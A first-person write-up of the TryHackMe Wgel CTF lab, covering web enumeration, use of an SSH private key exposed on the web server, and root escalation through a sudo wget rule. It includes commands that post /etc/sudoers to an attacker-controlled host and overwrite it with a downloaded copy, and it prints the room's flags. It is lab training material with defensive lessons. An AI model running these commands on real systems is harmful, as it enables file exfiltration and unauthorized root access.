Room Link: https://tryhackme.com/room/wgelctf

My Profile: https://tryhackme.com/p/RayenHafsawy

🧭 Introduction

In this write-up, I walk through the full compromise of the Wgel CTF room on TryHackMe. This lab combines multiple real-world attack techniques including:

Web enumeration Exposed SSH private key discovery GTFOBins wget abuse Sudoers file manipulation Full root access via privilege escalation

The objective was to capture both flags and achieve full system compromise.

🔍 1. Reconnaissance

I started with a targeted Nmap scan:

nmap -sV -p 1-10000 -T4 10.114.173.136

📊 Findings:

22/tcp → SSH (OpenSSH 7.2p2 Ubuntu) 80/tcp → HTTP (Apache httpd 2.4.18)

➡️ Port 80 is open so I moved straight into web enumeration.

💭 Always scan beyond the default ports — services running on non-standard ports are easy to miss.

🗂️ 2. Web Enumeration

📁 Directory Fuzzing

I ran FFUF against the web server on port 80:

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.114.173.136/FUZZ

➡️ Reviewing the page source code revealed a potential username: jessie

➡️ I also discovered /sitemap — I ran a second FFUF scan against it:

ffuf -u http://10.114.173.136/sitemap/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

📊 Result:

.hta        [403]
.htaccess   [403]
.htpasswd   [403]
.ssh        [301] ← 👀
css         [301]
fonts       [301]
images      [301]
index.html  [200]
js          [301]

➡️ The .ssh directory immediately caught my attention.

💭 When fuzzing subdirectories always dig deeper into every interesting finding — a .ssh folder exposed on a web server is a critical misconfiguration.

🔑 3. SSH Key Discovery

I visited the .ssh directory and found an exposed private key:

http://10.114.173.136/sitemap/.ssh/id_rsa

➡️ I downloaded it and set the correct permissions:

chmod 600 id_rsa

➡️ Combined with the username found in the source code, I attempted SSH access:

ssh jessie@10.114.173.136 -i id_rsa

✅ Shell obtained as user jessie.

💭 Private SSH keys should never be accessible via a web server. This is a critical exposure that grants direct system access to anyone who finds it.

👤 4. User Flag

cat /home/jessie/Documents/user_flag.txt

🏁 Flag 1: 057c67131c3d5e42dd5cd3075b198ff6

⚙️ 5. Privilege Escalation — wget Sudoers Abuse

I checked sudo permissions immediately after gaining access:

sudo -l

📊 Finding:

User jessie may run the following commands:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/wget

➡️ wget can be run as root without a password — this is a known GTFOBins privilege escalation path.

🔓 Exploit Strategy — Two Phase Attack

Phase 1 — Exfiltrate the sudoers file

I set up a listener on my attack machine:

nc -lnvp 80

Then used wget to POST the sudoers file to my machine:

sudo wget --post-file=/etc/sudoers http://AttackingIP:80

➡️ The full contents of /etc/sudoers were received on my listener, including jessie's existing permissions.

Phase 2 — Modify and replace the sudoers file

I edited the received sudoers file on my attack machine, replacing jessie's entry with:

jessie ALL=(ALL) NOPASSWD: ALL

I hosted it with a Python HTTP server:

python3 -m http.server 80

Then used wget on the target to overwrite the real sudoers file:

cd /etc
sudo wget http://AttackingIP:80/sudoers --output-document=sudoers

✅ Sudoers file replaced successfully.

➡️ Running sudo -l now showed jessie had full unrestricted sudo access.

I escalated to root:

sudo su -

✅ Root shell obtained.

💭 wget with sudo privileges is deceptively powerful — it can both read and write any file on the system, making full compromise trivial.

👑 6. Root Flag

cat /root/root_flag.txt

🏁 Flag 2: b1b968b37519ad1daa6408188649263d

🔗 Attack Chain Overview

Recon ➝ SSH (22) & HTTP (80) discovered Source Code ➝ Username jessie found FFUF ➝ /sitemap/.ssh directory exposed id_rsa ➝ Private key downloaded SSH Access ➝ jessie user shell obtained sudo -l ➝ wget with NOPASSWD discovered wget — post-file ➝ sudoers file exfiltrated sudoers modified ➝ jessie granted full sudo sudo su ➝ Root shell obtained

🧠 Lessons Learned

❌ SSH private keys served via web server ✅ Never store sensitive files inside the web root

❌ Username leaked in HTML source code ✅ Sanitize all comments and metadata from page source before deployment

❌ wget allowed in sudoers without restrictions ✅ Never grant sudo rights to file transfer tools — they can read and write any file

❌ sudoers file writable via wget exploit ✅ Monitor and restrict write access to /etc/sudoers strictly

❌ No detection of lateral file exfiltration ✅ Implement outbound traffic monitoring and alerting

🎯 Conclusion

Wgel CTF is a clean and elegant room that demonstrates how a single exposed file — an SSH private key — combined with a single misconfigured sudo rule can lead to complete system compromise.

💡 The key insight here is that dangerous sudo permissions aren't always obvious. wget looks harmless — but give it root and it becomes a full file system read/write tool.

✍️ About the Author

Rayen Hafsawy Cybersecurity student focused on penetration testing and CTF challenges. 📧 rayenhafsawy@gmail.com

🚀 Follow My Journey

I share write-ups and my cybersecurity learning journey. More content coming soon.